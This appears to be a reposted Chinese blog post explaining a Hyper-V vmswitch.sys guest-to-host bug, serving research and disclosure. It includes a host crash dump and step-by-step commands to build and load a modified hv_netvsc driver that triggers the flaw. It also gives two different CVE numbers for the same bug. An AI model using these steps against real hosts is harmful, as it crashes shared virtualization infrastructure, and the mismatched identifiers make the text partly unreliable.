Hyper-V 漏洞分析和PoC

2021年6月1日 298点热度 0人点赞 0条评论

这是Hyper-V 远程代码执行漏洞(CVE-2021-28467)的阐述,这是微软在 2021 年 5 月修补的 vmswitch.sys(网络虚拟化服务提供商)中的任意内存读取。

 

图片

该漏洞由australeo,ergot86,peleghd 和OphirHarpaz 发现。它可由访客虚拟机通过 VMBus(这是一种用于分区间通信的基于通道的通信机制)发送恶意 RNDIS 数据包触发。

图片


这是主机系统崩溃在调试器中的样子:

*** Fatal System Error: 0x0000007e                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

中断指令异常 - 代码 80000003(第一次机会)

发生了致命的系统错误。第一次尝试时进入调试器;尚未调用错误检查回调。

 

nt!DbgBreakPointWithStatus:

fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860

rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000

rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00

rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0

 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be

r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001

r14=00000000000021f0 r15=fffff80ad4bc7360

iopl=0         nv up ei pl zr na po nc

cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246

vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:

fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

 

kd> kp

 # Child-SP          RetAddr               Call Site

00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb

01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d

02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196

03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199

04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93

05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105

06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55

07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

 

该错误本身发生在 VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST 中,该函数可以使用攻击者控制的数据(它不应该)调用并取消引用恶意来宾虚拟机可以提供的指针(boom->_win 下面)两次。

 

PoC 的最简单方法是创建一个运行最新 Ubuntu Focal 的 Linux 虚拟机。

 

$ uname -a

Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git

$ cd ubuntu-focal

$ git checkout Ubuntu-5.4.0-73.82

$ git branch fbl_vswitch

$ git checkout fbl_vswitch

 

然后 git clone https:// github.com/0vercl0k/CVE-2021-28476.git

将 ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c 替换为 src/netvsc_drv.c,将 ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c 替换为 src/rndis_filter.c 和 ~/ubuntu-focal /drivers/net/hyperv/hyperv_net.h by src/hyperv_net.h(完整差异可在 cve-2021-28476.diff 中获得):

 

$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves

$ cp /boot/config-5.4.0-73-generic .config

$ make oldconfig

$ make modules

$ make M=drivers/net/hyperv

 

最后,通过加载模块并更改网络接口的以太网地址来触发问题(此操作会触发我们在 rndis_filter.c / netvsc_set_mac_addr 中添加的特定代码路径):

 

$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko

$ sudo ifconfig eth0 hw ether 00:11:22:33:44

PoC 演示如下:

Blackhat:https://www.blackhat.com/us-21/briefings/schedule/index.html#hafl-our-journey-of-fuzzing-hyper-v-and-discovering-a--day-23498

参考链接:https://github.com/0vercl0k/CVE-2021-28476

86460Hyper-V 漏洞分析和PoC

这个人很懒,什么都没留下

文章评论